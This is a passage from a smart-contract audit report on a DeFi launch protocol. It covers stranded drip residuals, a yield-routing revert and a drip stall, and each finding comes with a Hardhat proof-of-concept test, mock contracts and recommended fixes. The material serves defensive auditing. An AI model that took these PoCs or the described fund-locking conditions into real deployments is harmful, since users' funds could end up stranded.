move passes it on every tranche. `docs/CLIENT_PROTOCOL_GUIDE.md:295` says unused amounts are "returned to the same launch's drip accounting; it is not paid to an administrator or lost". After completion, they are lost.

Impact

- **Contributors / creator:** PLAZM bought with the raise's drip ETH that should become the creator's locked LP is permanently locked in the drip instead. If the token falls by a factor *k* against PLAZM over a stretch of the program, the tranches in that stretch pair only *k* of their PLAZM. In the PoC, a 50% drop at day 15 strands **7.5 of 30 PLAZM (25% of everything the drip bought)**.
- **Scale:** the drip gets 5–25% of the raise's LP ETH (`liquidityDripBps`). A 50% drawdown held for the second half of the program locks about 25% of that drip value. That is **≈1.25–6.25% of total LP ETH** per launch, in a token that can never be recovered.
- **Project-token holders (mirror case):** if the token rises against PLAZM, project tokens are stranded instead. The PoC's 2× pump leaves **15 of 30 drip tokens** in the drip. Holders aren't hurt, since this works like a burn, but the pool gets that much less depth than the docs promise.
- **Even with no price move**, the factory's deliberate 1 bp buffer (`CLIENT_PROTOCOL_GUIDE.md:295`) leaves dust in the drip on every tranche, and that dust is also locked.
- **Scope note:** this needs no attacker. Ordinary price drift is enough, and launch tokens moving ±50% within 30 days is common. A later recovery doesn't help, because the program is already closed. Both `BuiltOnPlazmLiquidityDrip` and `BuildAssetLiquidityDrip` are affected.

Severity rationale: - **Impact High:** the loss is permanent, of real value (PLAZM bought with contributor ETH), with no admin or user recovery path. - **Likelihood Low–Medium:** a meaningful lock needs a sustained move during the 30-day window rather than an attack. That is common for launch tokens, but the size of the lock depends on the price path. - The Impact × Likelihood matrix gives **Medium**. Under Sherlock rules, this is a loss above 0.01% that depends on an external condition, which is also Medium.

Proof of Concept

The drip's real `executeProgram` is driven against `MockSpotRatioDripPoolFactory`. That mock behaves like `LaunchPoolFactory.addDripLiquidity`: it pulls both budgets, uses them at a configurable spot ratio, and refunds the excess. The repo's existing `MockPlazmDripPoolFactory` can't model this, because it applies one `useBps` to both sides. The setup is a 30 ETH / 30-token drip at 1 PLAZM per token. At day 15 the tranche fills fully. The token then halves against PLAZM, and the final tranche at day 30 completes the program.

```
[M-11] PoC: drip completion traps unused PLAZM and project tokens
    PLAZM purchased with raise ETH : 30.0
    PLAZM paired into LP           : 22.5
    PLAZM locked in drip forever   : 7.5 (25% of purchased)
  ✔ completes with 25% of purchased PLAZM unused and no way to deploy or recover it
    project tokens locked in drip  : 15.0 of 30.0
  ✔ mirror case: a token pump strands drip project tokens instead

2 passing
```

The test checks that: - `ProgramCompleted(0, 0, 7.5e18, …)` is emitted, with `active == false` and `completed == true`; - the drip still holds the 7.5 PLAZM after the price recovers and 90 more days pass; - `executeProgram` reverts with `PlazmDrip: inactive program`; - the ABI has no withdraw, sweep, rescue or redeploy function.

contracts/mocks/audit/MockSpotRatioDripPoolFactory.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.35;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "../../types/LaunchTypes.sol";

/// Audit-only drip pool factory. `addDripLiquidity` mirrors LaunchPoolFactory:
/// it pulls both budgets, adds liquidity at the current spot ratio (the scarcer
/// side is fully used, the other side only up to the ratio) and returns the
/// excess to the caller. `counterPerToken` is the spot price in counter/token (1e18).
contract MockSpotRatioDripPoolFactory {
    using SafeERC20 for IERC20;

    address public immutable launchManager;
    address public liquidityDrip;
    uint256 public counterPerToken = 1e18;
    uint128 public totalLiquidity;
    mapping(uint256 => uint64) public unlockTime;
    mapping(uint256 => bool) public released;

    constructor(address manager) { launchManager = manager; }
    function setLiquidityDrip(address drip) external { liquidityDrip = drip; }
    function setCounterPerToken(uint256 price) external { counterPerToken = price; }

    function createHookedPoolWithCounter(
        uint256 launchId, address, address, LaunchMode, address, uint256, uint256, bytes calldata
    ) external pure returns (bytes32) {
        return bytes32(launchId + 1);
    }

    function seedLiquidityWithCounter(
        uint256 launchId, address, address, uint256 tokenAmount, uint256 counterAmount, address, uint64 unlockTime_
    ) external returns (uint128 liquidity) {
        unlockTime[launchId] = unlockTime_;
        liquidity = uint128(Math.min(tokenAmount, counterAmount));
        totalLiquidity += liquidity;
    }

    /// Mirrors LaunchPoolFactory.releaseLiquidity: permissionless once unlocked, one-shot.
    function releaseLiquidity(uint256 launchId) external {
        require(!released[launchId], "Factory: liquidity already released");
        require(block.timestamp >= unlockTime[launchId], "Factory: liquidity locked");
        released[launchId] = true;
    }

    function addDripLiquidity(
        uint256 launchId, address token, address counterAsset, uint256 tokenAmount, uint256 counterAmount
    ) external returns (uint128 liquidity, uint256 tokenUsed, uint256 counterUsed) {
        // Mirrors LaunchPoolFactory.sol:527 (`!launchPool.released`).
        require(!released[launchId], "Factory: invalid drip pool");
        IERC20(token).safeTransferFrom(msg.sender, address(this), tokenAmount);
        IERC20(counterAsset).safeTransferFrom(msg.sender, address(this), counterAmount);
        uint256 tokenForCounter = Math.mulDiv(counterAmount, 1e18, counterPerToken);
        tokenUsed = Math.min(tokenAmount, tokenForCounter);
        counterUsed = Math.min(counterAmount, Math.mulDiv(tokenUsed, counterPerToken, 1e18));
        if (tokenAmount > tokenUsed) IERC20(token).safeTransfer(msg.sender, tokenAmount - tokenUsed);
        if (counterAmount > counterUsed) {
            IERC20(counterAsset).safeTransfer(msg.sender, counterAmount - counterUsed);
        }
        liquidity = uint128(Math.min(tokenUsed, counterUsed));
        totalLiquidity += liquidity;
    }
}
```

test/audit/M11DripResidualLock.test.ts

```
import { expect } from "chai";
import { ethers, network } from "hardhat";
import { time } from "@nomicfoundation/hardhat-network-helpers";

// [M-11] addDripLiquidity adds at the spot ratio and returns the excess to the
// drip. executeProgram marks the program completed as soon as spentETH reaches
// totalETH, regardless of unused tokens/PLAZM, and nothing can move them after.
// A project-token drop against PLAZM during the program strands PLAZM bought
// with raise ETH in the drip forever.

const PLAZM = "0xA1FBB38bF486b97108aA87E92008187CA06998f6";
const ROUTE = ethers.id("global Built-on-Plazm drip route");
const DAY = 24 * 60 * 60;
const E = (v: string) => ethers.parseEther(v);

describe("[M-11] PoC: drip completion traps unused PLAZM and project tokens", function () {
  async function fixture() {
    const [, manager, protocolAuthority, guardian, creator, keeper, outsider] = await ethers.getSigners();
    const tokenTemplate: any = await (await ethers.getContractFactory("MockMintableToken")).deploy("PLAZM", "PLAZM");
    await network.provider.send("hardhat_setCode", [
      PLAZM, await ethers.provider.getCode(await tokenTemplate.getAddress()),
    ]);
    const plazm: any = await ethers.getContractAt("MockMintableToken", PLAZM);
    const token: any = await (await ethers.getContractFactory("MockMintableToken")).deploy("Project", "PROJECT");
    const dependency: any = await (await ethers.getContractFactory("MockConfigurablePlazmDependency")).deploy(PLAZM, ROUTE);
    const poolFactory: any = await (await ethers.getContractFactory("MockSpotRatioDripPoolFactory")).deploy(manager.address);
    const drip: any = await (await ethers.getContractFactory("BuiltOnPlazmLiquidityDrip")).deploy(
      manager.address, PLAZM, await dependency.getAddress(), await dependency.getAddress(),
      await poolFactory.getAddress(), protocolAuthority.address, guardian.address,
    );
    await poolFactory.setLiquidityDrip(await drip.getAddress());

    await token.mint(manager.address, E("40"));
    await plazm.mint(manager.address, E("10"));
    await token.connect(manager).approve(await drip.getAddress(), ethers.MaxUint256);
    await plazm.connect(manager).approve(await drip.getAddress(), ethers.MaxUint256);

    // 30 ETH drip, 30 drip tokens: 1 token per ETH. Each ETH buys 1 PLAZM and
    // the pool starts at 1 PLAZM per token, so the tranches are balanced.
    await dependency.configure(E("30"), 1, E("15"), E("15"), ROUTE, true);
    await drip.connect(manager).initializeProject(0, {
      token: await token.getAddress(),
      totalTokenAmount: E("40"),
      totalLiquidityETH: E("40"),
      initialLiquidityETH: E("10"),
      initialPlazmAmount: E("10"),
      creator: creator.address,
      unlockTime: (await time.latest()) + 365 * DAY,
      projectDevelopmentRecipient: creator.address,
      buyBurnVault: outsider.address,
      liquidityVault: outsider.address,
      routeHash: ROUTE,
    }, { value: E("30") });
    return { keeper, token, plazm, dependency, poolFactory, drip };
  }

  it("completes with 25% of purchased PLAZM unused and no way to deploy or recover it", async function () {
    const f = await fixture();
    const dripAddr = await f.drip.getAddress();
    const program = await f.drip.getProgram(0);
    expect(program.totalETH).to.equal(E("30"));
    expect(program.totalTokens).to.equal(E("30"));

    // Day 15: half the ETH is vested, price unchanged. Tranche is fully used.
    await time.increaseTo(Number(program.startsAt) + 15 * DAY);
    await f.drip.connect(f.keeper).executeProgram(0);
    const mid = await f.drip.getProgram(0);
    expect(mid.spentETH).to.equal(E("15"));
    expect(mid.tokenUsed).to.equal(E("15"));
```

```
    expect(mid.plazmUsed).to.equal(E("15"));

    // Project token falls 50% against PLAZM and stays there (organic drift:
    // spot == TWAP, so the factory's 25-tick deviation check passes).
    await f.poolFactory.setCounterPerToken(E("0.5"));

    // Program end: the last tranche spends the remaining 15 ETH. The pool only
    // takes 7.5 PLAZM for 15 tokens; 7.5 PLAZM come back to the drip.
    await time.increaseTo(Number(program.endsAt));
    await expect(f.drip.connect(f.keeper).executeProgram(0)).to.emit(f.drip, "ProgramCompleted")
      .withArgs(0, 0, E("7.5"), (v: bigint) => v > 0n);
    const done = await f.drip.getProgram(0);
    expect(done.spentETH).to.equal(done.totalETH);
    expect(done.active).to.equal(false);
    expect(done.completed).to.equal(true);
    const stranded = done.plazmPurchased - done.plazmUsed;
    expect(stranded).to.equal(E("7.5"));
    expect(await f.plazm.balanceOf(dripAddr)).to.equal(stranded);

    // Price recovers: the residual could now be deployed, but the program is closed.
    await f.poolFactory.setCounterPerToken(E("1"));
    await time.increase(90 * DAY);
    await expect(f.drip.connect(f.keeper).executeProgram(0))
      .to.be.revertedWith("PlazmDrip: inactive program");
    expect(await f.plazm.balanceOf(dripAddr)).to.equal(stranded);

    // No function can withdraw, sweep, rescue or redeploy residual assets.
    const names = f.drip.interface.fragments
      .filter((x: any) => x.type === "function").map((x: any) => x.name);
    expect(names.filter((n: string) => /withdraw|rescue|recover|sweep|refund|residual|redeploy/i.test(n)))
      .to.deep.equal([]);

    console.log("      PLAZM purchased with raise ETH :", ethers.formatEther(done.plazmPurchased));
    console.log("      PLAZM paired into LP           :", ethers.formatEther(done.plazmUsed));
    console.log("      PLAZM locked in drip forever   :", ethers.formatEther(stranded),
      `(${(stranded * 10_000n / done.plazmPurchased) / 100n}% of purchased)`);
  });

  it("mirror case: a token pump strands drip project tokens instead", async function () {
    const f = await fixture();
    const program = await f.drip.getProgram(0);
    await f.poolFactory.setCounterPerToken(E("2")); // token doubles against PLAZM
    await time.increaseTo(Number(program.endsAt));
    await f.dependency.configure(E("30"), 1, E("30"), E("30"), ROUTE, true);
    await f.drip.connect(f.keeper).executeProgram(0);
    const done = await f.drip.getProgram(0);
    expect(done.completed).to.equal(true);
    expect(done.totalTokens - done.tokenUsed).to.equal(E("15"));
    expect(await f.token.balanceOf(await f.drip.getAddress())).to.equal(E("15"));
    await expect(f.drip.connect(f.keeper).executeProgram(0))
      .to.be.revertedWith("PlazmDrip: inactive program");
    console.log("      project tokens locked in drip  :", ethers.formatEther(done.totalTokens - done.tokenUsed), "of",
ethers.formatEther(done.totalTokens));
  });
});
```

Recommendation

1. **Add a permissionless residual-deployment path for completed programs.** It offers the remaining balances to `addDripLiquidity` under the same TWAP check. That keeps the creator as LP recipient and keeps the LP lock, works with zero ETH left, and can be retried once the price comes back into line.

```
function deployResidual(uint256 launchId)
    external whenNotPaused nonReentrant returns (uint128 liquidityAdded)
```

```
{
    Program storage program = _programs[launchId];
    require(program.completed, "PlazmDrip: program not completed");
    uint256 tokenAvailable = program.totalTokens - program.tokenUsed;
    uint256 plazmAvailable = program.plazmPurchased - program.plazmUsed;
    require(tokenAvailable > 0 && plazmAvailable > 0, "PlazmDrip: no residual pair");
    IERC20(program.token).forceApprove(address(poolFactory), tokenAvailable);
    IERC20(plazm).forceApprove(address(poolFactory), plazmAvailable);
    uint256 tokenUsed;
    uint256 plazmUsed;
    (liquidityAdded, tokenUsed, plazmUsed) = poolFactory.addDripLiquidity(
        launchId, program.token, plazm, tokenAvailable, plazmAvailable
    );
    require(liquidityAdded > 0 && tokenUsed <= tokenAvailable && plazmUsed <= plazmAvailable,
        "PlazmDrip: invalid liquidity result");
    program.tokenUsed += tokenUsed;
    program.plazmUsed += plazmUsed;
    program.liquidityAdded += liquidityAdded;
}
```

> **Note: the LP release ends this path.** `addDripLiquidity` requires `!launchPool.released` (`LaunchPoolFactory.sol:527`), and `releaseLiquidity` is permissionless after `unlockTime`. Once the creator's LP has been released, `deployResidual` reverts with `Factory: invalid drip pool`, so it only works between program completion and LP unlock. The fallback below must not depend on `addDripLiquidity`, and should become callable once the position is released. See L-19 (#33), where a single `recoverMatured` path covers both cases.

1. **Add a final fallback for residue that cannot be paired** (only PLAZM left, or only tokens) or that is left once the LP has been released. After a grace period, or as soon as the position is released, a permissionless call sends it to the launch's recorded `buyBurnVault` / `liquidityVault`, never to an administrator. That keeps the docs' "not paid to an administrator or lost" promise.
2. **Apply the same change to `BuildAssetLiquidityDrip`**, and update `CLIENT_PROTOCOL_GUIDE.md:295` to describe how residuals are handled after completion.

Status

Fixed. Latest reviewer evidence ↗

Reviewed at `a4dee32`: fixed.

- `deployResidual` (permissionless, under the factory's existing pool, pair and spot/TWAP checks), `settlePermanentResidual` for permanent locks (immediately if one-sided, otherwise 30 days after `completedAt`; burns project tokens, counter asset goes to the launch's liquidity vault), and `recoverMatured` for finite locks.
- The grace period runs from `completedAt`, so repeated `deployResidual` calls can't push settlement back.
- No path pays an administrator or the caller; `closed` prevents a second close.
- Our original M-11 PoC no longer shows locked leftovers. Mirrored in `BuildAssetLiquidityDrip`.

[L-01] Reinvestment share above the V3 route capacity reverts claimAndRoute, freezing yield routing until a 7-day strategy change

Severity: Low
Source finding: `L-17`
Source issue: #29 ↗
Audited baseline: `213a6dba`
Remediation snapshot: `a4dee324`

Description

Severity	Low (Impact: Low, Likelihood: Medium)
Confidence	High (code confirmed; capacity measured on a Base fork)
Location	`TreasuryVault.sol:claimAndRoute` (:201-263, `reinvestAmount` at :221, call at :238); `UniversalBondsAdapter.sol:reinvestYield` (:423-424)
Class	DeltaAccounting (V0)
Sources	External finding (filed as Medium), verified against commit `213a6db`; downgraded to Low (see Severity rationale)
PoC	none (fork read of `maxSafeUsdcInput` only)

What's wrong

Each yield claim sends the strategy's reinvestment share through one USDC→WETH swap. That swap is capped by how much the pool can absorb safely. When enough yield has built up, the reinvestment share alone goes over the cap and the whole claim reverts. No yield is lost. But the creator, buy-burn and liquidity legs get nothing until the creator switches to a strategy with a smaller reinvestment share, and that takes 7 days.

How

1. `claimAndRoute` pulls the full accrued balance through `bondAdapter.claimYield(positionId)` (`TreasuryVault.sol:206`).
2. It takes the growth-treasury cut (default 200 bps, max 500). It then computes `reinvestAmount` as what is left after the creator, buy-burn and liquidity legs (`:221`).
3. It forwards the whole amount to `bondAdapter.reinvestYield` (`:238`).
4. `reinvestYield` requires **`usdcAmount <= routeGuard.maxSafeUsdcInput(STANDARD_MODE)`** (`UniversalBondsAdapter.sol:423`).

Nothing caps or splits `reinvestAmount` against that capacity. So when `reinvestAmount > maxSafeUsdcInput`, the require fails and the entire claim unwinds. `claimYield` always pays out the full accrued balance, so there is no partial claim to fall back on.

The only way out is `proposeYieldStrategy` → `STRATEGY_CHANGE_DELAY` (7 days) → `executeYieldStrategy`. A recovery strategy also cannot raise `creatorBps`.

Impact

- **Creator / buy-burn / liquidity recipients:** `claimAndRoute` routes no yield for the affected vault for up to about 7 days.
- **Protocol:** no funds are lost or stranded. The yield stays accrued at the adapter and routes in full after the strategy change, or once capacity recovers.
- **Measured trigger thresholds:** on a Base fork at block 52,818,999, `maxSafeUsdcInput(Standard)` returned **≈108,964 USDC**. That is the real `ProjectSupportV3TwapGuard` on pool `0xd0b53D9277642d899DF5C87A3966A349A798F224`: 2.56M USDC + 2,419 WETH, about $8.4M. With a 2% growth-treasury cut, a claim reverts once one position's unclaimed yield exceeds:

Strategy	Reinvest share	Unclaimed yield needed
Custom, 100% reinvest	100%	~$111k
Endowment	50%	~$222k
Balanced / LiquidityBuilder	20%	~$556k
Builder	15%	~$741k
BurnMax	10%	~$1.11M

- **Variable capacity:** `maxSafeUsdcInput` scales with in-range liquidity. If large LPs leave, every threshold above drops by the same proportion.
- **Scope notes:**
- `claimAndRoute` is permissionless, so regular claiming keeps every claim well under these thresholds.
- The spot/TWAP deviation limit (30 bps) stops an attacker from cheaply pushing the price into a thin range.
- The whole-claim revert is documented, intended behaviour (`docs/CLIENT_PROTOCOL_GUIDE.md:432`): "If any protected conversion check fails, the whole claim reverts, so there is no queued or partially converted USDC."

Severity rationale: - **Impact is Low:** the delay is ≤7 days and no funds are lost, which is below Sherlock's >1-week DoS bar. - **Likelihood is Medium at most:** reaching the revert needs six-figure unclaimed yield on one position, or a sharp drop in pool liquidity. - The original Medium filing does not survive these two points.

Proof of Concept

No standalone proof-of-concept section was supplied in the source issue. The source issue documents the code trace and validation evidence used for review.

Recommendation

1. **Cap the reinvestment and move the excess** to the buy-burn leg (or the liquidity leg) when `reinvestAmount` exceeds capacity. This keeps the documented "no queued USDC" rule. `maxReinvestUsdc()` is a new adapter view that passes through `routeGuard.maxSafeUsdcInput(STANDARD_MODE)`.

```
uint256 cap = bondAdapter.maxReinvestUsdc(); // new view: routeGuard.maxSafeUsdcInput(STANDARD_MODE)
if (reinvestAmount > cap) {
    buyBurnAmount += reinvestAmount - cap;
    reinvestAmount = cap;
}
```

1. **Or let `protocolAuthority` shorten `STRATEGY_CHANGE_DELAY`** for a vault whose claim reverts on the capacity check.
2. **At minimum, document the per-strategy thresholds** and run a keeper that claims high-reinvest vaults (Endowment / Custom) often enough to stay well under capacity.

Status

Fixed. Latest reviewer evidence ↗

Reviewed at `a4dee32`: fixed.

- `claimAndRoute` now converts only `reinvestableUsdc(reinvestAmount)`; the excess joins the same claim's buy-and-burn deposit, so a large claim no longer reverts and no 7-day strategy change is needed.
- A deviated or unavailable USDC/WETH oracle still reverts the claim, so the pool can't be pushed to divert reinvestment.
- The `try/catch` in `reinvestableUsdc` wraps only `minimumCounterOut`, after `maxReinvestUsdc` has validated the oracle in the same view, so it only swallows the 1-unit "zero quote" case.
- `depositYieldSupport` does not swap, so capacity is the same when `reinvestableUsdc` and `reinvestYield` run.

Note (informational): with the 20% cap from #41, redirection starts at about one-fifth of the old revert threshold (~21.8k USDC per claim at Base block 52,818,999; an Endowment vault redirects above ~$44k unclaimed). The redirect is permanent, not deferred. It's documented in `docs/UNIVERSAL_BONDS_ADAPTER.md`; flagging it because large claims on high-reinvest strategies now route differently from the creator's chosen split.

[L-02] Liquidity drip stalls forever when one raw project-token unit costs more ETH than a single capacity-capped conversion

Severity: Low
Source finding: `L-18`
Source issue: #31 ↗
Audited baseline: `213a6dba`
Remediation snapshot: `a4dee324`

Description

Severity	Low (Impact: Medium, Likelihood: Low)
Confidence	High (code confirmed, Hardhat PoC passes)
Location	`BuiltOnPlazmLiquidityDrip.sol:executeProgram` (:320-411, cap :332, `spentETH` write :339, token budget :354-356, revert :359); missing creation-time check in `initializeProject` (:239-246) / `validateProgramCapacity` (:193-201)
Class	FeeManipulation / rounding (V0)
Sources	External finding, verified against commit `213a6db`
PoC	`test/audit/L18DripUnitStall.test.ts` (passes)

What's wrong

The liquidity drip converts its ETH to PLAZM in capped steps. Each step must also unlock at least one whole raw unit of the project token, or the step is thrown away. If one raw token unit is worth more ETH than a single capped step, no step can ever succeed. Spending can't build up across steps, waiting doesn't help, and the drip has no way to return the ETH.

How

1. **Each call is capped.** `executeProgram` caps each call at `grossETH = min(unlocked, capacity)` (`:332`), where `capacity = maxSafeEthInput(50 bps, 30 min)`.
2. **The token budget rounds down.** The call adds `grossETH` to `spentETH` (`:339`) and converts it. It then computes `tokenBudget = mulDiv(totalTokens, spentETH, totalETH)`, rounded down (`:354-356`).
3. **A zero budget unwinds the call.** If `tokenBudget - tokenUsed == 0`, **`require(tokenAvailable > 0 && plazmAvailable > 0)`** (`:359`) reverts the whole call, including the `spentETH` update and the swap.
4. **The stall condition.** Whenever `capacity < ceil(totalETH / totalTokens)`, every call reverts, so `spentETH` stays at 0.
5. **Waiting can't fix it.** `_availableETH` keeps vesting, but each call is still capped by `capacity`.
6. **Creation doesn't check for this.** `initializeProject` only requires `ceilDiv(dripETH, TOTAL_INTERVALS) <= capacity` (`:243`), which is the 30-day average. It never checks that one call can unlock one token unit.
7. **There is no recovery path.** The contract has no withdraw, cancel or rescue function.

Impact

- **Project / contributors:** the drip's ETH (5-25% of the launch's LP ETH) sits in the drip contract, and the project's LP never receives its drip top-ups. It stays stuck until effective capacity reaches one unit's price.
- **PoC numbers:**
- A program with 9,500 ETH and 100 raw drip-token units needs 95 ETH spent per unit.
- Creation accepts it at 50 ETH capacity, because the 30-day average needed is only about 2.2 ETH.
- Every `executeProgram` reverts with `PlazmDrip: zero liquidity tranche`: on day 1, on repeated retries, and 7 days after the program ends.
- `spentETH` stays at 0 and the drip contract still holds all **9,500 ETH**.
- Raising capacity to 96 ETH unblocks the program immediately.
- **Scope notes:**
- **The trigger is a degenerate configuration chosen by the creator.**
    - ETH per drip-token unit works out to about `hardCap / saleSupply`, the sale price of one raw unit (`LaunchEconomicsPolicy.sol:207`).
    - `LaunchToken` has a fixed 18 decimals, so a stall needs one raw unit (1e-18 of a token) to be worth more than the 50 bps route capacity.
    - That means a total supply of a few hundred raw units. Normal tokenomics never get close.
    - `LaunchEconomicsPolicy` still accepts such a launch: it only requires `minLpTokens > 99` (`:162-163`) and that `minContribution` buys more than zero raw units (`:146-148`).
- **Anyone can unblock it from outside.** The drip guard is the OTC adapter, so `maxSafeEthInput` counts eligible OTC inventory. Any PLAZM ask at or above the TWAP price, worth more than one unit's price, restores progress.
- **No value is stolen.**

Severity rationale: the impact is Medium, because ETH is locked with no recovery function. Likelihood is Low, because it needs a near-zero raw supply chosen by the creator and only hurts that creator's own project. That gives **Low**.

Proof of Concept

`npx hardhat test test/audit/L18DripUnitStall.test.ts`

```
  [L-18] PoC: drip stalls when one token unit exceeds route capacity
      drip ETH / drip units  : 9500.0 ETH / 100
      ETH per raw unit       : 95.0 ETH
      capacity (stalled)     : 50.0 ETH
      ETH stuck at day 37    : 9500.0 ETH
    ✔ stalls a 9,500 ETH / 100-unit program for the whole 30 days and beyond
```

The test uses the real `BuiltOnPlazmLiquidityDrip` with the existing `MockConfigurablePlazmDependency` and `MockPlazmDripPoolFactory` from `BuiltOnPlazmLiquidityDrip.test.ts`.

Test source

```
import { expect } from "chai";
import { ethers, network } from "hardhat";
import { time } from "@nomicfoundation/hardhat-network-helpers";

// [L-18] executeProgram caps each conversion at route capacity, then requires
// the floored token budget to be non-zero. When one raw project-token unit is
// worth more ETH than one capped conversion, every call reverts and spentETH
// never accumulates, so the program stalls with no recovery path.

const PLAZM = "0xA1FBB38bF486b97108aA87E92008187CA06998f6";
```

```
const ROUTE = ethers.id("global Built-on-Plazm drip route");
const DAY = 24 * 60 * 60;

describe("[L-18] PoC: drip stalls when one token unit exceeds route capacity", function () {
  async function fixture() {
    const [, manager, protocolAuthority, guardian, creator, keeper, outsider] = await ethers.getSigners();
    const tokenTemplate: any = await (await ethers.getContractFactory("MockMintableToken")).deploy("PLAZM", "PLAZM");
    await network.provider.send("hardhat_setCode", [
      PLAZM, await ethers.provider.getCode(await tokenTemplate.getAddress()),
    ]);
    const plazm: any = await ethers.getContractAt("MockMintableToken", PLAZM);
    const token: any = await (await ethers.getContractFactory("MockMintableToken")).deploy("Project", "PROJECT");
    const dependency: any = await (await ethers.getContractFactory("MockConfigurablePlazmDependency")).deploy(PLAZM, ROUTE);
    const poolFactory: any = await (await ethers.getContractFactory("MockPlazmDripPoolFactory")).deploy(manager.address);
    const drip: any = await (await ethers.getContractFactory("BuiltOnPlazmLiquidityDrip")).deploy(
      manager.address, PLAZM, await dependency.getAddress(), await dependency.getAddress(),
      await poolFactory.getAddress(), protocolAuthority.address, guardian.address,
    );
    await poolFactory.setLiquidityDrip(await drip.getAddress());

    await network.provider.send("hardhat_setBalance", [
      manager.address, ethers.toBeHex(ethers.parseEther("20000")),
    ]);
    await token.mint(manager.address, 1_000n);
    await plazm.mint(manager.address, ethers.parseEther("10"));
    await token.connect(manager).approve(await drip.getAddress(), ethers.MaxUint256);
    await plazm.connect(manager).approve(await drip.getAddress(), ethers.MaxUint256);
    return { manager, creator, keeper, outsider, token, dependency, drip };
  }

  it("stalls a 9,500 ETH / 100-unit program for the whole 30 days and beyond", async function () {
    const f = await fixture();
    // 50 ETH capacity: above the 30-day average (9,500 / 4,320 ≈ 2.2 ETH),
    // below the 95 ETH needed to unlock one raw token unit.
    const capacity = ethers.parseEther("50");
    await f.dependency.configure(capacity, 1, ethers.parseEther("1"), ethers.parseEther("1"), ROUTE, true);

    const dripETH = ethers.parseEther("9500");
    await f.drip.connect(f.manager).initializeProject(0, {
      token: await f.token.getAddress(),
      totalTokenAmount: 105n, // 5 raw units seed the pool, 100 go to the drip
      totalLiquidityETH: ethers.parseEther("10000"),
      initialLiquidityETH: ethers.parseEther("500"),
      initialPlazmAmount: ethers.parseEther("2"),
      creator: f.creator.address,
      unlockTime: (await time.latest()) + 365 * DAY,
      projectDevelopmentRecipient: f.creator.address,
      buyBurnVault: f.keeper.address,
      liquidityVault: f.outsider.address,
      routeHash: ROUTE,
    }, { value: dripETH });

    const program = await f.drip.getProgram(0);
    expect(program.totalETH).to.equal(dripETH);
    expect(program.totalTokens).to.equal(100n);
    // ETH that must be spent before the floored token budget reaches 1.
    const perUnit = (dripETH + program.totalTokens - 1n) / program.totalTokens;
    expect(perUnit).to.equal(ethers.parseEther("95"));
    expect(capacity).to.be.lt(perUnit);

    // Day 1: ETH has vested well past capacity, yet every keeper call reverts.
    await time.increase(DAY);
    expect(await f.drip.availableETH(0)).to.be.gt(capacity);
    await expect(f.drip.connect(f.keeper).executeProgram(0))
      .to.be.revertedWith("PlazmDrip: zero liquidity tranche");

    // Retrying cannot accumulate spentETH, because each attempt rolls back.
    for (let i = 0; i < 5; i++) {
      await expect(f.drip.connect(f.keeper).executeProgram(0))
```

```
        .to.be.revertedWith("PlazmDrip: zero liquidity tranche");
    }
    expect((await f.drip.getProgram(0)).spentETH).to.equal(0n);

    // Past the 30-day end: everything is vested, still stalled.
    await time.increaseTo(Number(program.endsAt) + 7 * DAY);
    expect(await f.drip.availableETH(0)).to.equal(dripETH);
    await expect(f.drip.connect(f.keeper).executeProgram(0))
      .to.be.revertedWith("PlazmDrip: zero liquidity tranche");
    const stalled = await f.drip.getProgram(0);
    expect(stalled.spentETH).to.equal(0n);
    expect(stalled.active).to.equal(true);
    expect(await ethers.provider.getBalance(await f.drip.getAddress())).to.equal(dripETH);

    // No function can withdraw, cancel, or rescue the program ETH.
    const names = f.drip.interface.fragments
      .filter((x: any) => x.type === "function").map((x: any) => x.name);
    expect(names.filter((n: string) => /withdraw|rescue|recover|cancel|sweep|refund/i.test(n))).to.deep.equal([]);

    // Control: capacity at or above one unit's price unblocks the program.
    await f.dependency.configure(ethers.parseEther("96"), 1, ethers.parseEther("1"), ethers.parseEther("1"), ROUTE, true);
    await f.drip.connect(f.keeper).executeProgram(0);
    const resumed = await f.drip.getProgram(0);
    expect(resumed.spentETH).to.equal(ethers.parseEther("96"));
    expect(resumed.tokenUsed).to.be.gt(0n);

    console.log("      drip ETH / drip units  :", ethers.formatEther(dripETH), "ETH /", program.totalTokens.toString());
    console.log("      ETH per raw unit       :", ethers.formatEther(perUnit), "ETH");
    console.log("      capacity (stalled)     :", ethers.formatEther(capacity), "ETH");
    console.log("      ETH stuck at day 37    :", ethers.formatEther(dripETH), "ETH");
  });
});
```

Recommendation

1. **Reject the configuration at creation.** This is the smallest change and keeps today's execution semantics. In `initializeProject`, add a check next to the existing 30-day-average check (`:243`), and add the same check to `validateProgramCapacity` so launch-time preflight catches it before funding opens:

```
uint256 perUnitETH = Math.ceilDiv(msg.value, dripTokenAmount);
require(dripTokenAmount > 0 && perUnitETH <= capacity, "PlazmDrip: token unit exceeds capacity");
```

1. **Alternatively, let capped conversions build up.** When `tokenAvailable == 0`, keep the `spentETH` update and the purchased PLAZM and skip `addDripLiquidity` instead of reverting. Pay no executor incentive on calls that add no liquidity, and use the stored PLAZM on the next call that unlocks a unit.

Status

Fixed. Latest reviewer evidence ↗

Reviewed at `a4dee32`: fixed.

- `_validateProgram` requires `programTokens > 0 && ceilDiv(programETH, programTokens) <= recurring DEX capacity`, run by `initializeProject` and by the policy (`validateProgramTokens`) at both soft and hard cap. The original 9,500 ETH / 100-unit program now reverts at init with "PlazmDrip: token unit exceeds capacity".
- When a single interval's ETH unlocks less than one raw unit, the call reverts without advancing `spentETH`, so unlocked ETH keeps accumulating until a unit unlocks. No permanent stall while capacity holds.

Note (informational): `executeProgram` reads live `maxSafeEthInput`, so if pool liquidity later drops below the per-unit price the drip pauses until capacity returns. Finite locks have `recoverMatured` (#33) as the exit; permanent locks wait for the route.

[L-03] Unfinished drip program is permanently bricked once the LP lock matures and is released

Severity: Low
Source finding: `L-19`
Source issue: #33 ↗
Audited baseline: `213a6dba`
Remediation snapshot: `a4dee324`

Description

Severity	Low (Impact: High, Likelihood: Low)
Confidence	High (code confirmed, Hardhat PoC passes)
Location	`BuiltOnPlazmLiquidityDrip.sol:executeProgram` / `_availableETH` (:320-411, :469-479); `LaunchPoolFactory.sol:addDripLiquidity` (`!launchPool.released`, :527) and `releaseLiquidity` (:567-583); same path for `BuildAssetLiquidityDrip.sol:executeProgram` (:369)
Class	DeltaAccounting (V0)
Sources	External finding, verified against commit `213a6db`
